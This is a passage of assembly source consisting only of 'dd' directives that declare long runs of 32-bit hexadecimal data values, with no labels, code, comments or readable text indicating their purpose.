0AC74B251h dd 7509A200h, 76648FEFh, 9E7B002Eh, 0DC74C0FFh, 0D00087B7h dd 0FEED6F54h, 58441792h, 0A600D418h, 0A46EFA78h, 4F4CF094h dd 56D5001Fh, 7BCD80F5h, 6C6007Ah, 91AE44A2h, 2C676D24h dd 0B108F11h, 18677493h, 19C02D75h, 2500DB14h, 241DF2BCh dd 281B488Eh, 0FE7D6DAh, 0BDF76FA8h, 3EAE100h, 0DC00D10Bh dd 8C1C25F6h, 3562C7Bh, 0A39C21B7h, 429823C7h, 5F0EA4EEh dd 0BB2057D0h, 0CED2F010h, 0ADC500D6h, 6B3A69Ah, 5200B96Eh dd 8095F994h, 3073AFDAh, 383090CAh, 0E948AB61h, 5ACF0010h dd 0F2D5440Eh, 3A6EEC3h, 7601911Fh, 0A7F0F78Bh, 8A3D2D8Fh dd 0AEBD0FCBh, 45E3C79Dh, 0C0BFFB43h, 48C40B77h, 31E20A2h dd 0AAA8FDh, 0EB4FD0B6h, 5D25A7FCh, 6B464B06h, 928A88Dh dd 0DD51BC2Dh, 0C610488Ch, 13184D00h, 1FB8BEE7h, 15BA006Eh dd 7DC00D90h, 560057A2h, 0A312EB40h, 0A0F37Fh, 0F7D1E147h dd 0DD816FA5h, 580C4F13h, 0CA1E4404h, 36CB3080h, 1C142021h dd 66002679h, 0E879022Fh, 1EE26DB5h, 0EFC4C2h, 1A62CFC6h dd 5300083Ah, 3AE06F2h, 61A6B6h, 0E6313E70h, 11B8B0FDh dd 825A7401h, 9038FF16h, 0D1C03F00h, 882E7301h, 534557ACh dd 55D6CCh, 774ECFECh, 4285549Dh, 1B68601Fh, 49018BC0h dd 0C178FBh, 0AC9506F5h, 0A6F27EBBh, 0EC8E8207h, 0E42A834Fh dd 0DB118D00h, 759DD559h, 19660F0Dh, 3820A2A1h, 0F07619Ch dd 0FCB2351Dh, 0A409A380h, 50E64Ch, 4F249903h, 0F7040B7Bh dd 0D01B6EAh, 5B449DD3h, 0AADC4CCFh, 0CCCA1750h, 87580078h dd 0D264FC90h, 0D0765B1Eh, 0B1BA94C7h, 463D8060h, 5733018Dh dd 0CDE1CB2Bh, 8CECC8C8h, 0DA0E2DEEh, 890BB563h, 972C01B2h dd 1180E4C4h, 33851D36h, 0EE002CCEh, 847735CBh, 39D5ABB1h dd 0D0006FD4h, 0CE606AE3h, 0EA004F4Ch, 8005A0D8h, 0F5F438h dd 72941A16h, 0CB1859B4h, 8476333Fh, 0F7C46B1Eh, 0D7D09490h dd 0F85724E0h, 0B5DC0009h, 0E45C646Fh, 1CDBDD48h, 16C0D91Fh dd 0B9EEB4E1h, 5ECB0C69h, 17118510h, 0B1D021C0h, 26A17109h dd 4C9032h, 0C1B8203Bh, 18780C56h, 217370C0h, 71D7ECAh dd 861FE297h, 1B3EA30Bh, 0C371210Dh, 15E098CAh, 40BD30D0h dd 0EF798C49h, 9EE859CFh, 89834A01h, 20800A41h, 0A821A277h dd 72E2422Fh, 0F3CAED07h, 503C410Bh, 0D8869D94h, 0A3F0F9C9h dd 3CFEB800h, 98882438h, 5DA20C0Dh, 995009ADh, 70833E0Ah dd 610048EAh, 0B22E1B63h, 21530041h, 96C8EDFEh, 54002DB7h dd 0FC4D5670h, 7238BC0Fh, 85AD00F3h, 431CA89Ch, 78094919h dd 800DEEDEh, 0CAC67018h, 3BD81FEFh, 80FF1DE1h, 8BB5080Fh dd 607D062h, 0A694F157h, 50465E90h, 96CA005Dh, 36C09727h dd 0D50C1EF8h, 0D1ACE40Fh, 0AAEE0Dh, 0F0FD6BF7h, 0EFD61122h dd 6A2D0B0Fh, 24E30166h, 0B0C85EF6h, 0B80654C7h, 6F321F7Ch dd 807E5EE5h, 8D495EDBh, 947AA8C0h, 3C34EF03h, 0F1FD89h dd 0DCE20831h, 0CC1958A2h, 2FB9B400h, 0CAF5FB2h, 0E12500ECh dd 691D91C6h, 8F076246h, 0E3CE2720h, 0B7045B11h, 2B212080h dd 0A88326C7h, 0B84AA700h, 4354EDF9h, 85D03E8Dh, 49FCF807h dd 7C90C3FAh, 0FC6B41E1h, 0BA009FB3h, 649B1A3Ch, 166D18h dd 0B703C377h, 0C5E93009h, 0E02C5B00h, 66FACEF5h, 0A8580050h dd 0EA018899h, 8A00A02Bh, 0EB809B62h, 14B0B42h, 9DCC23ADh dd 80C74AECh, 0E7B38E11h, 0CF22A6h, 4C4F8DC8h, 56321CC4h dd 0ABCD3700h, 54C2D3B3h, 306EB8C5h, 0F0184DD0h, 40719834h dd 9CFC770Fh, 97F8E0D8h, 0F86CC4Eh, 908D75F5h, 0D5163060h dd 58C05D2Dh, 0BFEB14C0h, 9AA500BCh, 0AACAE4E8h, 9D7AEFD3h dd 733EE998h, 4CA90387h, 0B003182Fh, 0C8C6DE7h, 0D4F52C08h dd 0A6601408h, 0E8C83520h, 5B6B0F26h, 92C0CEE1h, 13CA049Fh dd 6136381Eh, 0EDBD0AC0h, 30D94337h, 7838DF50h, 520E4906h dd 0A1A07DD4h, 334F25C9h, 21BED3h, 425251F8h, 0CAF01FD9h dd 7A8F5700h, 34FE070Ah, 1D80C076h, 2C1B3978h, 4F1080E9h dd 3F307BE0h, 28F40CD4h, 1708AD99h, 0A3D221C0h, 793B069Fh dd 540D1D37h, 9AC0406Dh, 0BC5FD322h, 42122703h, 1FF3B624h dd 0CCCDA689h, 0EF20EED9h, 2CFA8500h, 0ADF5F3A9h, 649E3152h dd 0CA122518h, 0A55D8109h, 0C728B0h, 0B3E12C40h, 0CE77E2Eh dd 0E9C39219h, 2180FF08h, 0FAB3D483h, 643029D7h, 927379A2h dd 0F004670Eh, 7FFD8016h, 0CE78ED5Ch, 0B4A9A703h, 9815181Fh dd 1D26304Eh, 2670F6E9h, 8D2500EAh, 384CC202h, 3F47CC00h dd 60E1B9BFh, 4B8F071Dh, 80216480h, 0C3DAD28Ch, 0F8BBD500h dd 0DEA659F5h, 327507BCh, 403FEC65h, 3D7B145Fh, 0FEC39300h dd 0F3986FD3h, 43B5002Eh, 0B902F5D6h, 4C00675Ch, 34C40363h dd 7F170916h, 6B4E00ADh, 4020C924h, 700063D5h, 0A0AAE555h dd 5830443Bh, 5B00D0ABh dd 4E6A3E94h, 7D0009F2h, 73EB27EAh, 9FC93DC7h, 0D44005Dh dd 723F9CAh, 96C40E55h, 1BA18080h, 0A5E0D6C5h, 0DB461403h dd 0B7C7260Ch, 0AB8AB450h, 0F1E30072h, 50674491h, 0B3006B54h dd 0B28DB55Ch, 4AABD7h, 0F0364E9Fh, 31D4FE38h, 3B67403h dd 0E3F16EC9h, 0B7DAC014h, 9BE461h, 0CCC548E3h, 389A4295h dd 0DB59121Fh, 0AAE70D00h, 1E7670A7h, 0C11CE53Bh, 0A858A23h dd 5E2660F6h, 99C79C00h, 4656E31Bh, 8B640065h, 0A6547D59h dd 483BCC5Ch, 63098087h, 27A512E1h, 0D9B2008Fh, 5C506A94h dd 0CE00AA62h, 0A1DA5557h, 407753h, 89DB8790h, 52D26B1h dd 5E00657Fh, 2C3BA1EAh, 0DFD6C1h, 0C0355068h, 0B4494577h dd 6B895F00h, 69F5C755h, 482F192Ah, 8F129DDh, 0DB5C44E3h dd 0CB812284h, 10F19D22h, 118498A4h, 1C1108EFh, 0BD5911BBh dd 21897111h, 0C8A208A3h, 59844590h, 4215E74h, 3E45440h dd 4074AEC1h, 440B14A1h, 2244BF23h, 0F9B044ADh, 5F8091E8h dd 46D08824h, 88A9E140h, 1D000CF1h, 732BC652h, 20F03Dh dd 2D40541Fh, 0E3FC9B5Ch, 728D0300h, 5A3C11CAh, 0D4AF0035h dd 3D391A4Dh, 517EAC79h, 3F0073EEh, 0C40DD791h, 31FC4Ah dd 12FAF02h, 0BB3DB92Eh, 0BF529A00h, 0FCD04CEBh, 72F307E6h dd 43E91661h, 0EAB1FF86h, 8813C80Bh, 1CFB800h, 0BF3D742Bh dd 0B06F0F7Bh, 0DC8042F3h, 0F563996Dh, 34086000h, 54DDDB0Ah dd 973C0088h, 0AA74B75Bh, 27001306h, 98F13EFDh, 5845CA46h dd 0B6002C44h, 263947BDh, 0F607D9F3h, 8699BFB7h, 8F4E80CEh dd 30A93F38h, 4483BA7h, 2D0091C5h, 0A07B8D06h, 0F22DAEBh dd 87BDDBE2h, 17244B40h, 0A400EA86h, 320D930Ch, 0A1076Dh dd 0B8029DAh, 8BE13FE5h, 0FB7CFF03h, 0E8F2DC2Eh, 0C65EC9h dd 161B046Dh, 78F5487Fh, 79FC34FAh, 233CCB00h, 56EC1E6Fh dd 57744Fh, 0E1278F0Dh, 0A3AAB59h, 0C823E217h, 0C242A000h dd 948944h, 0EED10D8Eh, 6E08C9F4h, 6570B900h, 0CE31D25Eh dd 82D800A7h, 36688C39h, 8D001BD7h, 0B3743C66h, 1F176157h dd 0E79547E5h, 15159D7Eh, 0AFB100BCh, 62AAF490h, 0B742171Ch dd 0C87F0022h, 3FB54489h, 70063100h, 7A18748Ch, 0CC953852h dd 981C7703h, 0F2B8666Eh, 1403D7ECh, 0D809EBF1h, 0B34A996Dh dd 1C9FBEC8h, 315613h, 787303A8h, 0D41DB494h, 0D00EAFDAh dd 0FF85212Ah, 47E8B5C4h, 0BBE900B1h, 0AED4C613h, 0E050C10Fh dd 94F83DB0h, 93EFCB00h, 626012B7h, 64F6002Eh, 0D81FB6Eh dd 0AD7176F3h, 0CA1BD000h, 0E6886A3Bh, 67692483h, 310E0134h dd 0F2192439h, 169E0440h, 0E223A40h, 0BCF3971Eh, 2B0B9BA2h dd 0C2006C44h, 0A7613CB3h, 5C70B7h, 0CF772F86h, 0FC653F2Bh dd 8018FF39h, 0F835F279h, 0F573A7h, 4BD88804h, 0C9F0BDD2h dd 0FEB8137Ah, 99A93C1Bh, 0CB39B8A0h, 0C2850292h, 6197A7CDh dd 3A788160h, 9EAE440Fh, 0B573C06Fh, 5ACC09h, 794C624h dd 8F1E9D78h, 0E95B6700h, 45FDE7E6h, 41FF5890h, 78BF823Eh dd 1B0A6881h, 23698DEDh, 86FBE800h, 9E72EE03h, 0EAD0B35Ch dd 0B8D8A0F6h, 0FC7491h, 72B90A48h, 69F3D6ABh, 0FB537100h dd 0F6F5D3D5h, 18920078h, 42115F0Ah, 9000F8B4h, 0A0331CA8h dd 7FE1747Ah, 0CF0B1D31h, 0A3828054h, 1E8F35F0h, 710C9C0Fh dd 0FEBC014h, 8C4C57h, 66C7A06Dh, 8243B89Fh, 0F57DFB73h dd 0AEEA4600h, 28808FE0h, 4BBD0070h, 9206DC38h, 0A0006CA2h dd 0EEB1A8E8h, 14F1E6Ah, 40FC63D9h, 60528134h, 0AF0120EAh dd 8E042E57h, 67DC99E7h, 59210006h, 0FF7051CCh, 0C900825Bh dd 0C59D53CDh, 33B39FEh, 0D92B526Fh, 16F36A67h, 5D3336F0h dd 93647E01h, 789FB2F6h, 8577F0h, 0B8766145h, 80B4C596h dd 4E8353Ch, 3A25CBB5h, 399A2FC0h, 3F727D9Ch, 71803897h dd 0DAE610A5h, 0A90160BEh, 0C08B3629h, 0D283BD16h, 0AD68DF2h dd 4EB3087h, 617408AFh, 13C26900h, 6F125340h, 0A3EF0066h dd 0A8BDC98Bh, 0D800F925h, 41A92F03h, 0FCDCC3h, 24E5EC8Ch dd 556018EAh, 0B3F69690h, 0C4CC59h, 6E365B59h, 269C92h dd 526CA1A9h, 0BF1E9B51h, 0A49E2100h, 43C049CFh, 327F37h dd 3C9276F0h, 0ECAC85C3h, 0BB001090h, 0F36FA7E8h, 70BF8751h dd 112C0B68h, 0D4805299h, 27FD6CC4h, 0EFEDF203h, 90D8EA35h dd 0C7AC04h, 66F68B56h, 7C8F735Fh, 1F53C43Fh, 8C401F3Ah dd 154BD605h, 1A6E62Ah, 23FA3441h, 0C8D4535Ah, 3100FD51h dd 3AEFB885h, 767A6E22h, 13D30316h, 970D4187h, 9AA700B7h dd 0C8EF513Ch, 7F00BEC5h, 0F2D95A75h, 62A365h, 0CD821B0h dd 3787963Bh, 5DA9C000h, 3E83E57Dh, 0EFC2007Eh, 3FB61AAAh dd 0F90E45FFh, 8067E777h, 709925CFh, 487904EEh, 0C3F70C6Dh dd 7800D52Ch, 35CF3D84h, 1BBAFCBh, 2D94B747h, 0E0A85559h dd 0C51C4EF9h, 81812489h, 9C01B908h, 0A5E920h, 78BA9D0Fh dd 29BE2804h, 1716FA00h, 73FD677Ch, 48DC00F9h, 0D524882Eh dd 0BB04894Fh, 9662C1Bh, 0F6475C80h, 0E39B2456h, 0B0480074h dd 759DB5D2h, 86407200h, 9E5B3235h, 5C5009Fh, 50A1E6C2h dd 483EF97Ch, 0F5E5BC1Ch, 0BBBF7A00h, 0D17B9A44h, 5C9091h dd 0A0716B05h, 555FBCB1h, 6787F491h, 0F660BFB2h, 7B11CCh dd 3CA786FAh, 141B0321h, 0EDCDAB1Eh, 0EF0F5BEEh, 0B727A391h dd 0E6C0D5D4h, 3B48DEh, 354E62B3h, 0B664E76Dh, 0FE8FB400h dd 9102A1C4h, 90F5005Ch, 1CDB7D82h, 2F00DD34h, 0E0BE4C05h dd 0CB2EAF2h, 39043707h, 5000A304h, 0E61F1766h, 0DC94D7D2h dd 2F5B4041h, 357B1D54h, 0E1C86400h, 7F85C9D5h, 0E95D047Ch dd 90E35E92h, 2C1FB930h, 8D123101h, 4E0FE5BCh, 776832ECh dd 0A467009Eh, 834DA6AFh, 0AC7F0C5Dh, 45B2F01Fh, 295F8B40h dd 0A7F346h, 51B58119h, 0E5B0DC65h, 4490AB00h, 33C38A38h dd 7ABF00D2h, 713B1C9Fh, 24000CDBh, 0ADF94E53h, 18CD04Fh dd 0BF72B42Bh, 404AD23Dh, 4B667DE7h, 6DA4DB0Fh, 6F06E085h dd 3FAD63h, 19A82630h, 0CDE825BEh, 0B85C4700h, 8AC88F9Dh dd 0C5E8EDh, 0BD300B29h, 0FE17CC2Dh, 25855A03h, 8841B9B4h dd 0E01ABBh, 0AE403F44h, 3BDD12D0h, 0F8945E00h, 0B82FE64h dd 9E56004Eh, 0C903D42Dh, 0AC3DEBE7h, 2B7D00C1h, 0E3444F9h dd 13E400FBh, 1A80DF1Eh, 0D30EA7EDh, 808F14F2h, 0F95A0648h dd 1F2200DEh, 11EB5774h, 0C8FAB58Bh, 9800EDF0h, 0F989A33Ch dd 1D535FD3h, 80B3201Ch, 933D9980h, 9B007623h, 8198EB8Bh dd 0A8421Dh, 0EF752107h, 0BCE22503h, 0E5583B00h, 576A90BFh dd 0B4880064h, 0D35E60Bh, 0B700D33Fh, 0D1B1480Fh, 74AEE31h dd 1B38F16Ch, 1629A09Ch, 3FEE9BF9h, 0E061700Eh, 0DCF2201Dh dd 0E41C9Eh, 0B6402C5Ch, 0CBFC90A2h, 99B81600h, 89082A47h dd 4C980750h, 0B04E1D1Bh, 0B8AC6D7h, 53BE4004h, 3FC0666Ch dd 219809h, 5C697111h, 0B87EFEB0h, 721E5E09h, 42608162h dd 90D3DBA4h, 3BA6D84h, 0BB321B91h, 4DB8E952h, 0B9098F4Fh dd 5DD30759h, 0C76908h, 567F9076h, 0CE006F4Ch, 78359AAEh dd 74614D4Bh, 1A70001Dh, 49FB2E4Fh, 6B00DCD1h, 0C91B483Fh dd 38A67F6Fh, 53A47E19h, 0B5B20300h, 68E858C3h, 9902630Eh dd 0BA3EC8CDh, 0B6D6035h, 0FBC200F9h, 25343FF8h, 5FFE7B7Ah dd 0BB474101h, 80180C1Ch, 0F15D1DCh, 97F20E94h, 0E609D400h dd 0B92A8EC9h, 0D374B475h dd 83F68800h, 0CD1BC34h, 45987Ah, 44CB0E86h, 0A5378522h dd 14589800h, 1E478170h, 29E47Bh, 8738940h, 781A1B0Ch dd 0A310260Fh, 0A0C48E2Fh, 0AB4EF04Ah, 81E000BBh, 7CA6A41Ah dd 0F37135ACh, 0FB0A0E03h, 0B3A7389Ch, 68E0F891h, 4CF24Fh dd 0B43A6714h, 4DC663B5h, 0A230FB00h, 0FF52A028h, 25B8CE2Dh dd 0E556C15Dh, 0FCFC12EAh, 5101FB07h, 0CB88025Bh, 0C9303523h dd 6CE700A1h, 0C31A5569h, 0CF245946h, 0E91E7D22h, 0C56DF800h dd 9B6770h, 75FBA9FFh, 4125A33Bh, 49D30F0Eh, 6F0CC096h dd 374473Fh, 539891Ch, 0FF987156h, 0D5709979h, 8AE82760h dd 0C1C4C7h, 0B025D022h, 0F866197Dh, 9E90FA00h, 5982C9A2h dd 0B8340095h, 9B16BF6Bh, 620023B9h, 469DA653h, 0E0B2846Dh dd 0DC31276h, 0F48040A4h, 9BE69EFh, 0FA3E307h, 8E7035E2h dd 0FAAC374Eh, 0DF9F005Dh, 0D315401Dh, 0D700DB5Bh, 0E57CBEE1h dd 1FD6008h, 599D5122h, 0D4951873h, 771064Eh, 2443E705h dd 0B2803156h, 542EB40h, 0D5D7E6AAh, 0C035C06Bh, 1D035BF0h dd 0FE2441DCh, 3BA2805Ch, 0C84B0108h, 0F60A362Ah, 876DE412h dd 60F18100h, 4439C93Ah, 8D7B1C5Bh, 0A1B68003h, 43B050E3h dd 8F07C339h, 0E1873B6Fh, 0E2CC5897h, 71C62DECh, 16A73D2h dd 564FA20Ah, 405F12E9h, 0DA531DF8h, 0D6D0F00h, 2F20A489h dd 432900E3h, 9BF3E03Ah, 3479DA3Dh, 41F5DF00h, 0E2B3F1Dh dd 67240011h, 8BF6206Ch, 0C3B8FB40h, 57A4C800h, 4375F432h dd 0F86654CDh, 5C4BE28Ch, 0CF007BBAh, 44E812CEh, 630217C4h dd 569DF0D1h, 8C6560CBh, 4389006Dh, 0DDE94018h, 38F2AAA2h dd 0A7008AE0h, 6BE48ECBh, 5F012CFh, 3432DDC1h, 6AAD014Ah dd 0D87DEBDBh, 24989AEDh, 0C098404Dh, 14982671h, 0E2E09044h dd 0EB410FB3h, 8DC0B0E0h, 0E73D6C5Fh, 8D983A0h, 2F3CFB00h dd 6B40B4CBh, 23BD009Ah, 25359957h, 6103C254h, 6729469Bh dd 895CE84Eh, 1047600Ch, 19221E42h, 0D7B09102h, 62DC9693h dd 0B9B80079h, 0FE4063h, 85B5B69Eh, 0A6A2700Ch, 0BF07D201h dd 17E5B935h, 6054C07Ah, 0A300FAD7h, 8155825Eh, 8B6E40h dd 5C081788h, 0BC25F295h, 0A42ACC00h, 0FF42A577h, 0C0EF0074h dd 0C22436B4h, 860082B0h, 60340CDAh, 3A75C04h, 3DCA1642h dd 9001F5E8h, 866F4D22h, 8C2477C6h, 92581DD1h, 0B10A3D04h dd 9835F4h, 87D7D4F5h, 2E07AB65h, 89F8B494h, 0AE648B00h dd 8E810013h, 60D1BBA4h, 1A601841h, 21DEE328h, 5C16004Ch dd 0D4638E8Dh, 0C20193EBh, 0C8401350h, 0CEDD2BFDh, 0AC35FCh dd 881EFF5Fh, 0AAF2F194h, 0C5C3DC00h, 993A7046h, 2C70036h dd 250B814Ch, 76006985h, 6BBDB35Eh, 5EF8E58h, 80832231h dd 80AB1EE6h, 0C8EAEED4h, 0D6032414h, 0D0CCFA40h, 0E7C3E864h dd 17830123h, 73F35239h, 0F871C806h, 564C2504h, 60BCABB0h dd 0CEF50F73h, 83603853h, 0EC139051h, 8E313E01h, 0EFF3F9E2h dd 1F851920h, 0C7F661FEh, 0F7AAB42h, 0C8172201h, 0E7E1E858h dd 9ACDCB00h, 0A7A88884h, 3629008Bh, 2A2E4B97h, 0D00058D3h dd 1EC21C57h, 0F2BBC75Ch, 7413005Ah, 0D459C933h, 6D000315h dd 0DE8C6FCh, 0F4E6CCh, 46D2CDDBh, 0F6367CCFh, 0B4D73F01h dd 0EF53B644h, 7D630C0h, 0F7E202A9h, 1E0F20DCh, 0EA00D918h dd 0BCF6B1D1h, 52DA55h, 7BD53FFEh, 0EC822F48h, 3B004E70h dd 0D15D93E7h, 2EBE509Bh, 3F95727h, 1748D283h, 0F03ABDD8h dd 0C75F280Eh, 0A9FB80CAh, 85FD30h, 35D804C1h, 8E65277Bh dd 0C9346607h, 0CF904E2Bh, 3C2E1154h, 630F6ADBh, 46DECE17h dd 0D8F70D16h, 0FB1CCB07h, 59A07D84h, 3215E4Dh, 8063F9E3h dd 0CBB08DD3h, 672ED9D0h, 0BA004550h, 0A6983929h, 0D36500BCh dd 0F7D6FBB0h, 9707CA9Dh, 306E20FAh, 402721B2h, 0F59271h dd 740453CCh, 68F3AEF7h, 0CA49548h, 6187DBDEh, 0EAED068Bh dd 10DDFB21h, 7D07317Ah, 0D80ACD42h, 69100BD7h, 25954Eh dd 0F0BCB6D4h, 0E10F5E47h, 0BFF1ED00h, 71D82045h, 0E563006Ah dd 7C5514Eh, 9D008B17h, 0FDAEF985h, 1C1084EAh, 40862513h dd 30E27D42h, 2A008EF4h, 95FD757Fh, 3E378D5h, 0B63DA7D6h dd 0BA88B3EEh, 3C00A0A1h, 0C8FC868h, 2C0AE93h, 8C1388F2h dd 0FCE0B4BBh, 513A3EE8h, 7FE307DDh, 0C3F092E0h, 2FE142h dd 89CADF12h, 62F6D7D9h, 818CAC04h, 0B8C05783h, 1FB5E9D1h dd 80DCC09Ch, 0CFB8CD25h, 1F079A4Dh, 0A3BC101Ch, 49F5FA12h dd 8070FB0Ch, 0E8F106C7h, 500DEA4Ch, 0B2A0F415h, 107E00A8h dd 0B5BAFCC2h, 944C02F9h, 60CA80B9h, 0E1B4C8A0h, 870096A2h dd 9E7FDE56h, 0C0C32F51h, 0C7D7D161h, 1016BFE2h, 0F1002A42h dd 75DFFE65h, 5BA100E5h, 6069531Ch, 13B0765Fh, 9A7C0B00h dd 0A1591407h, 7A2100D7h, 989DFE20h, 0ABF4A3A9h, 0E63D54B0h dd 24D8BD30h, 0F002305Dh, 61130982h, 0FD44E14h, 0F3858ECh dd 33A7701h, 80C2AFA1h, 0C9651311h, 1465288h, 58695DDDh dd 80B8FEAAh, 65156770h, 0F11E070h, 3F0CA22Ch, 0C36C9B01h dd 0F47881FDh, 125C25CDh, 7B98420h, 427BBC8h, 3A07AB0h dd 4559BDF3h, 72913AC8h, 52563303h, 0ADEF4B27h, 0AB0F8C01h dd 9840D6DCh, 0F0E71EBFh, 0D69128Ch, 609C273Fh, 5B685211h dd 5F6DBD17h, 0E4AA7500h, 0E76E020h, 0F52E71DCh, 0B0EEB747h dd 0CD16BBADh, 2293DD00h, 598DC4EDh, 5C7E4C60h, 0F6664B00h dd 0C6019C63h, 25F8B1FAh, 2F77A203h, 0B953C11Fh, 57F4A0DCh dd 13840015h, 0DC46A27h, 0FA1FA53Dh, 69EED7B7h, 0D6703407h dd 205E5A90h, 0FDF0FB7Eh, 768374F4h, 311B3BB1h, 40F6C293h dd 0E26EE65Ch, 0DA001AEBh, 0D7AB009h, 0BA7020h, 270A0804h dd 4B21644Ah, 242EFD00h, 20CF41A0h, 2C150006h, 0C092DEAh dd 0E6481BA6h, 34E70084h, 0DFE52FD5h, 81670087h, 3C2B0417h dd 240582FEh, 0C2B80AFBh, 5461D052h, 2407F5E9h, 0D370C07Eh dd 0A1079B26h, 907633Ah, 0C6809D67h, 0E4D0CA60h, 0E49700A2h dd 30B4AD2Ah, 6673C022h, 6482100h, 8296E7F3h, 0A0A60090h dd 2DEE037h, 53007EF4h, 9EC43447h, 6D0CD78h, 0DA5A8A62h dd 0D803118Ch, 0BED6EF7Eh, 97901DA2h, 5E4C40BAh, 1E873F12h dd 23D23102h, 0C2DF22ECh, 1A446874h, 0C8320101h, 6A3DDD81h dd 0FD5DE8E6h, 9014C900h, 0DC7C0EFCh, 0D5490002h, 0D14EA452h dd 3035CFBh, 8AD7A6FDh, 8E8EFAC2h, 0F689A08Ch, 158445Dh dd 0BD850D28h, 346EC47Eh, 2C245531h, 20005482h, 0B64F5F15h dd 8EBE0023h, 9116C856h, 0FF00F04Ah, 0C090C539h, 772473h dd 0EA79848h, 0D213F132h, 80E7A43Bh, 70286FAAh, 3D1333Fh dd 4EE060FDh, 0B6A8D029h, 4716806Bh, 68005407h, 3C047A85h dd 3DF9F8ACh, 0FC001F22h, 0D53BE74Bh, 6339C273h, 0BFE080CDh dd 58B1889h, 0E87D132Dh, 6DF40706h, 4F9CF0F5h, 79287B62h dd 39009E08h, 37A723BFh, 125FF586h, 0F21F82h, 0EF4135E4h dd 871274B7h, 8440F4AFh, 0C4BB2AB6h, 54C200F9h, 0A64B722h dd 9003874h, 1F8D5585h, 1E5D9212h, 56AEEAh, 0B6ACED89h dd 0EE02A2CDh, 0FBBEA7AFh, 1D3448C6h, 903B006Fh, 0E6B53CA1h dd 0AD07030Dh, 0E372AF6Ah, 60102A32h, 37E248h, 89F90E7Dh dd 463C68ECh, 0C3D30B26h, 0BC42A213h, 60FD3AD1h, 26F411F8h dd 80480DE9h, 4A0FCD45h, 81F4CB3Bh, 460C250Fh, 29B70059h dd 3907157h, 1FCEAAB5h dd 0DEE831A6h, 0E0F7387h, 60CAA26Bh, 7F181CE0h, 701FA4Ch dd 2FE543E7h, 50682732h, 0EC52BD59h, 92A36500h, 748F306Dh dd 0B1F83197h, 27226780h, 0ED2F01B8h, 0D2526BCAh, 0FE21C280h dd 42B0676Ah, 0F4684Ch, 0AA4925A1h, 333108h, 8F954658h dd 7606CBBBh, 39487579h, 2D7718F8h, 3CCD112h, 0ECBD903Ah dd 0B80091F3h, 8FE7F758h, 7209264h, 0BB950F27h, 0DE1CE084h dd 4E125417h, 0FC0C0880h, 6EBA44h, 17CEB95h, 0CEA6BCA7h dd 9441550Fh, 1ECAE057h, 2EE8476Ah, 93CCFE5h, 68801588h dd 0A2BBE3CCh, 0ADF1A612h, 8349E0h, 0FD568286h, 6C5BC16Dh dd 0E6202800h, 0D45CC9EAh, 5F3C007Ch, 0DA8546F0h, 840075C0h dd 8DEECEB5h, 72C32758h, 8DB3B43h, 0AEF4B282h, 20C00176h dd 0B386117h, 5B1180F8h, 9B715D29h, 14730503h, 0C01E494Dh dd 28895D4h, 598C9300h, 0BC9CA039h, 229F0024h, 0E4A5B7D9h dd 0DC006C79h, 5E577AC6h, 0E831FEh, 0D03095A2h, 694AA62Ch dd 6CA1C500h, 0EB1A8C36h, 0BFC20037h, 341E6026h, 8801FC4Fh dd 3BBBB91Bh, 0A440F64Eh, 1D77BA54h, 0D8E026B3h, 94925C99h dd 0F9D72400h, 6D50D04Eh, 42E20586h, 0C04D7CB2h, 0CAB933E4h dd 56518B03h, 0F0FD9F6Bh, 0E2F55A50h, 7A1748AAh, 606EAE01h dd 0CC5D93B8h, 0E50537EEh, 0D4F71002h, 0D08028D1h, 9A1860h dd 78D99571h, 347321B1h, 758AFE00h, 0BAEA9136h, 0CA25C26h dd 1AEC2BB0h, 9E710801h, 97BEF652h, 0CEA2FC50h, 0B3BC224Dh dd 3040B47Ah, 3E144C7h, 3BC8A400h, 0AACF30Bh, 0B8BADBh dd 2814B6Bh, 1C664168h, 9700ACBAh, 0CF377AEBh, 3B5ADFh dd 0ABAA9F33h, 3578AEDAh, 987B5300h, 0BA6244CDh, 401B05AFh dd 0C0B07DFBh, 0E89A1320h, 451A3D2Ch, 58F0600h, 0BA44C7h dd 75B05097h, 0E49C0A48h, 9860DF7Ch, 14D7F66Eh, 23E0E332h dd 0B808000Ch, 45184660h, 62B0DC51h, 14F9AA1Fh, 1E317940h dd 152385h, 83780321h, 0E7B1A9D7h, 7918C800h, 25298D98h dd 9F411F67h, 388828ADh, 83001B7Eh, 28A4C24Bh, 7C9826B7h dd 0A99EBC03h, 0C0F1AC23h, 3DF8787Ch, 0DE01F9B9h, 0E3868190h dd 0E1F140BFh, 4402A679h, 33078E1Eh, 0EA705030h, 156204C1h dd 0A0176B3Fh, 91F82B44h, 14989B03h, 0F91F9947h, 0DCE8377Fh dd 11B1013Bh, 93100EF2h, 40364Bh, 14CC43ABh, 7A6BA926h dd 28A82C85h, 5C3D0462h, 413EC0DCh, 841EB055h, 3A68FCh dd 44EC057Eh, 42BB8C4h, 811A6C4Eh, 0C066C4BEh, 0AEF5BF24h dd 0E451411Dh, 0D5FFD000h, 1EE3A615h, 0C14C6035h, 879A65EFh dd 3043FD9Dh, 0DB71125Ch, 0F0BD3800h, 1FDF1A7Ah, 0F13D033Bh dd 4639298Bh, 2A12EFC0h, 9701F4B0h, 76F97218h, 1AF44D3Eh dd 0AB51016Eh, 54D23AFFh, 7C3814h, 0B7D6D3A1h, 7EE3D99h dd 1EE71F87h, 6E461226h, 0B5512040h, 59EAC907h, 13F161FBh dd 0A9CCFF2Dh, 0D3470040h, 71B143C6h, 9071B5CAh, 0C0064B8h dd 75C101F3h, 0FD62B7Dh, 0C49D8A21h, 0DB81A4E9h, 802AB30Eh dd 9265B718h, 127C1EDh, 0C70CDC68h, 403FD1FCh, 712FDE0h dd 0ACCAB700h, 8D514E5h, 1E0B034h, 5DEF210Dh, 0F425B056h dd 550E605Ah, 20586EE6h, 8AF3D6BDh, 630824BAh, 0B9DB0090h dd 4B0324ACh, 0BB00B67Ah, 0E064195Ch, 7D98E3D8h, 1DB00BDh dd 366796CFh, 0D07BCC27h, 2F6FB50Ah, 110EF05Dh, 0A168004Ch dd 108516h, 0F7C2EA1Ch, 7FE7FB13h, 0BCC0BD00h, 8480026Fh dd 343B24EDh, 0C2EF077Bh, 6920709Ah, 0AC006BCCh, 1A8A8CFCh dd 39B337DBh, 0DE80F085h, 0A6E82A0Eh, 0C01C8956h, 3240E280h dd 0A5A057F5h, 0A9230029h, 0D96018BDh, 88B8C61Fh, 0F8CDDF01h dd 32DDEE92h, 98FC8475h, 0CC2100BAh, 1F2BD439h, 90052A3h dd 2E4A9E4Dh, 3F13655h, 19A23321h, 0DCC03BC5h, 754CD691h dd 966700FFh, 0DD3D2EAEh, 12DA778Bh, 12C25788h, 0AB6440F9h dd 0C2089B3h, 